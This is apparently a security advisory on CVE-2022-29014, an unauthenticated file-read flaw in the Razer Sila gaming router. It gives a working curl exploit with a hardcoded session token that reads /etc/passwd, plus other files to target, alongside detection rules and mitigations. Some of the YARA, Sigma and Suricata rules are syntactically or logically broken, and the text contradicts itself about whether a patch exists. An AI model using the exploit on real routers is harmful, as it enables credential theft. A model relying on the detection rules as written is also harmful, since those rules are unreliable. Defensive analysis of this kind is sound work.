CVE-2022-29014

Executive Summary

CVE-2022-29014 is a Local File Inclusion (LFI) vulnerability affecting the Razer Sila Gaming Router firmware version 2.0.441_api-2.0.418. The vulnerability allows an unauthenticated attacker to read arbitrary files on the device by sending a crafted POST request to the /ubus/ endpoint. The exploit leverages the router's internal RPC mechanism to read sensitive files such as /etc/passwd. The vulnerability has a CVSS score of 7.5 (High) and a public proof-of-concept (PoC) is available via a Nuclei template and Exploit-DB. No official patch has been released by Razer at the time of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and has a public PoC. An attacker can read configuration files, credentials, or other sensitive data from the router.

Deep Dive & Mechanics

The Razer Sila Gaming Router uses a custom web interface that communicates with the underlying system via the ubus RPC (Remote Procedure Call) protocol. The /ubus/ endpoint is used to execute various system commands and file operations. The vulnerability lies in the file.read method, which does not properly sanitize the path parameter. An attacker can supply an arbitrary file path (e.g., /etc/passwd) and the router will return the contents of that file.

The exploit sends a JSON-RPC request to the /ubus/ endpoint with the following structure:

{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

The params array includes a session token (4183f72884a98d7952d953dd9439a1d1), the service name (file), the method (read), and the parameters ({"path":"/etc/passwd"}). The session token appears to be hardcoded or easily guessable, allowing unauthenticated access.

Vulnerable vs. Patched Code

Vulnerable Code (Razer Sila firmware 2.0.441_api-2.0.418): The file.read method in the ubus service does not validate the path parameter. It directly passes the user-supplied path to the underlying file system read operation.

# Pseudocode of vulnerable implementation
def file_read(path):
    # No path validation
    with open(path, 'r') as f:
        return f.read()

Patched Code (Hypothetical): A patched version would validate that the path is within an allowed directory (e.g., /var/log/) and reject paths containing .. or starting with /etc/.

# Pseudocode of patched implementation
import os

ALLOWED_DIR = "/var/log/"

def file_read(path):
    # Resolve the absolute path
    abs_path = os.path.abspath(path)
    # Check if the path starts with the allowed directory
    if not abs_path.startswith(ALLOWED_DIR):
        raise PermissionError("Access denied")
    with open(abs_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Razer Sila Gaming Router with firmware version 2.0.441_api-2.0.418.
• Network access to the router's web interface (typically on port 80 or 443).

Exploitation Steps:

1. Identify the target: Use Shodan or a network scan to find Razer Sila routers.
2. Send the exploit request: Use curl or a similar tool to send the malicious POST request.

curl -X POST http://<target_ip>/ubus/ \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d '{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}'

3. Read sensitive files: The response will contain the contents of /etc/passwd. You can modify the path parameter to read other files, such as:
   • /etc/shadow (if permissions allow)
   • /etc/config/network
   • /etc/config/dhcp
   • /tmp/ logs

Expected Output:

{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:/root:/bin/ash\n...\n"}]}

Blue Team

Detection:

• Monitor HTTP POST requests to /ubus/ with a JSON body containing "method":"call" and "file","read".
• Look for requests with suspicious path values (e.g., /etc/passwd, /etc/shadow, /proc/).
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• If possible, restrict access to the /ubus/ endpoint to trusted IP addresses only.
• Implement a Web Application Firewall (WAF) rule to block requests containing "file","read" in the JSON body.
• Monitor for outbound connections from the router to unknown IPs (data exfiltration).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /ubus/ with a JSON body containing "file","read".
  • Requests with a path parameter pointing to sensitive files (e.g., /etc/passwd, /etc/shadow).
  • Source IP addresses scanning for Razer Sila routers on port 80/443.

• File IOCs:

  • Unauthorized access to /etc/passwd, /etc/shadow, or other sensitive files.
  • Presence of unexpected files in /tmp/ or /var/log/ that may contain exfiltrated data.

• System IOCs:

  • Unusual processes or network connections initiated by the router's web server.
  • Log entries in /var/log/messages or /var/log/lighttpd/ showing repeated /ubus/ requests.

Detection Engineering

YARA Rule

rule CVE_2022_29014_Razer_Sila_LFI {
    meta:
        description = "Detects exploit attempts for CVE-2022-29014 Razer Sila LFI"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-29014"
        severity = "high"
    strings:
        $json_rpc = "jsonrpc"
        $method_call = "\"method\":\"call\""
        $file_read = "\"file\",\"read\""
        $path_param = "\"path\":\""
        $sensitive_paths = "/etc/passwd" or "/etc/shadow" or "/etc/config/" or "/proc/"
    condition:
        all of ($json_rpc, $method_call, $file_read, $path_param) and any of ($sensitive_paths)
}

Sigma Rule

title: Razer Sila LFI Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /ubus/ with file read attempts
author: Valters IT
date: 2025/04/08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29014
    - https://www.exploit-db.com/exploits/50864
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /ubus/
        cs-uri-query|contains: 
            - "file"
            - "read"
            - "/etc/passwd"
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-29014 Razer Sila LFI Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ubus/"; http_uri;
    content:"file"; http_client_body;
    content:"read"; http_client_body;
    content:"/etc/passwd"; http_client_body;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2022-29014;
    reference:url,https://www.exploit-db.com/exploits/50864;
)

Nuclei Template (Provided)

id: CVE-2022-29014

info:
  name: Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion
  author: edoardottt
  severity: high
  description: Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by Razer to fix the Local File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50864
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29014
    - https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
    - https://packetstormsecurity.com/files/166683/Razer-Sila-2.0.418-Local-File-Inclusion.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29014
    epss-score: 0.65914
    epss-percentile: 0.98521
    cpe: cpe:2.3:o:razer:sila_firmware:2.0.441_api-2.0.418:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila_firmware
  tags: cve,cve2022,edb,packetstorm,razer,lfi,router,vkev,vuln

http:
  - raw:
      - |
        POST /ubus/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a9043efb5fcf01aa876c2a7a3c769f492436ea473faa8d698e0809caf1f2b948022100cad8662f6af5a10739a55f9109d7fec16de0afcff13ee06f783d641ea6cbe0e4:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Disable remote access to the router's web interface if not required.
2. Restrict access to the /ubus/ endpoint using firewall rules (allow only trusted IPs).
3. Monitor logs for suspicious POST requests to /ubus/.

Long-term Fix:

• Razer has not released an official patch. Users should:
  • Contact Razer support for a firmware update.
  • Consider replacing the router with a more secure alternative if no patch is forthcoming.
  • Implement a reverse proxy or WAF in front of the router to filter malicious requests.

Workaround:

• If the router's firmware cannot be updated, manually block the /ubus/ endpoint using iptables (if SSH access is available):

  iptables -A INPUT -p tcp --dport 80 -m string --string "/ubus/" --algo bm -j DROP
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 2FAC501037B56E26635F2AE1] */}